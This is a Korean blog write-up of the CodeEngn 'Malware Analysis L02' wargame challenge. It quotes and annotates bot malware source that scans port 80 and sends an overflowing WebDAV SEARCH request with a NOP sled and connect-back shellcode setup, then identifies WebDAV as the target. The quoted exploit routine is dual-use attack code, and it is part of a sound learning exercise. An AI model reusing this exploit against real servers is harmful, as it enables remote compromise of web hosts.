블로그 이전했습니다. https://jeongzero.oopy.io/
[CodeEngine] Malware Analysis L02
본문 바로가기
워게임/CodeEngn

[CodeEngine] Malware Analysis L02

728x90

1. 문제


다음 파일은 악성코드 소스의 일부분이다. 무엇을 공격하는것인가
ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)

1번 문제와 동일하다. 공격 벡터가 무엇인지 찾는다

2. 접근방법


char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))// port scanning : if 80 port open.
	{	
		g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); 
	}

	if(bSuccess) 
		{
			g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(),"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); 
		}
}

bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096]; char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000); 
	unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET; ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	
		free(szReqBuf); xClose(sSocket); return false; 
	}

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	//여기까지 진행되면 setup_shellcode()를 통해 szShellBuf[]에 쉘코드가 세팅됨. 디코딩, 복호화 되서 뭐 들어가지 않을까 싶음

	memset(szSCBuf+iPos,'\x90',iNOPSize); //szSCBuf + 0 ~ 100 까지 \x90으로 초기화
	iPos+=iNOPSize; // iPos = iPos + 100
	memcpy(szSCBuf+iPos,szShellBuf,iShellSize); // szSCBuf + 100 = 쉘코드 복사
	iPos+=iShellSize; // iPos(100) = iPos + sizeof(쉘코드)
	iSCSize=iPos; // ISCSize = ( iPos(100) = iPos + sizeof(쉘코드) )
	iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); //100000
	szReqBuf[i]='\x90';
	
	i=100000
	10000+1 10000+2150
	for(j=i+1; j<i+2150; j+=2) 
	{
		memcpy(szReqBuf+j, &ret, 2); 
		iPos+=2; 
	}

	for(;j<i+65535-strlen(jumpcode);j++) 
		szReqBuf[j]='\x90';

	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }

찬찬히 코드분석을 진행해보면 다음과 같다

  • 초기 body에 xml 형식의 데이터를 넣는다
  • 타겟이 되는 곳의 80 포트 스캐닝을 진행한다
  • 쉘코드를 세팅한다. (IP 대역대를 확인하는건가 잘 모르겠지만 뭐 인코딩 혹은 암호하된 쉘코드를 디코딩 및 복호화 하여 세팅하는 듯)
  • szRegBuf에 패킷 전송시 넣을 문자열들을 복사 및 붙여넣기 한다. 대충 아래의 패킷 형태이다
    SEARCH / 쉘코드 일부 HTTP/1.1
    Host: %s
    Content-Type: text/xml
    Content-Length: %d
    
    <?xml version="1.0"?>
    <g:searchrequest xmlns:g="DAV:">
    <g:sql>
    	Select "DAV:displayname" from scope()
    </g:sql>
    </g:searchrequest>
    쉘코드 일부...
  • 패킷 전송

음 이게 뭐지 ㅅㅂ

3. 풀이


결국

SEARCH / 쉘코드 일부 HTTP/1.1
Host: %s
Content-Type: text/xml
Content-Length: %d

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
	Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>
쉘코드 일부...

형태의 패킷을 전송시키는데 쉘코드는 안보이니 어떤 역할을 하는지 모르겠고, 위 코드에서 DAV:displayname 요것만 뭔지 모르겠다. 뭔 쿼리를 xml 형식으로 날리는거 같은디

구글링을 해보니 WebDev 서버 - 클라 사이의 통신시에 사용되는 것으로 보인다

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wdvse/3b323480-55ca-4e6f-aa41-a20872908293

코드 형태가 매우 비슷한다.

WebDav란? WebDAV는 HTTP 사양에 대한 확장 기능으로 "WebDAV"의 "DAV"는 "분산형 저술 및 버전 처리 (distributed authoring and versioning)"를 의미하며, 인가된 사용자는 원격지 에서 웹 서버 상에 컨텐츠를 추가하고 관리할 수 있다

간단히 말하면 해당 프로토콜을 이용하여 원격으로 클라이언트는 서버에 접속하여 파일 같은것을 관리 할 수 있다. 만일 어떤 서버의 WebDav 보안 취약점이 존재함다면 해커는 WedDav 서버의 취약점을 이용하여 원격 파일 전송을 통해 웹쉘을 올릴 수 있다

정답 WebDaV!!

4. 몰랐던 개념


  • WebDav Protocol
728x90

'워게임 > CodeEngn' 카테고리의 다른 글

[CodeEngine] Basic RCE L10  (0) 2021.01.21
[CodeEngine] Malware Analysis L03  (0) 2021.01.21
[CodeEngine] Malware Analysis L1  (0) 2021.01.19
[CodeEngine] Basic RCE L20  (0) 2021.01.18
[CodeEngine] Basic RCE L19  (0) 2021.01.13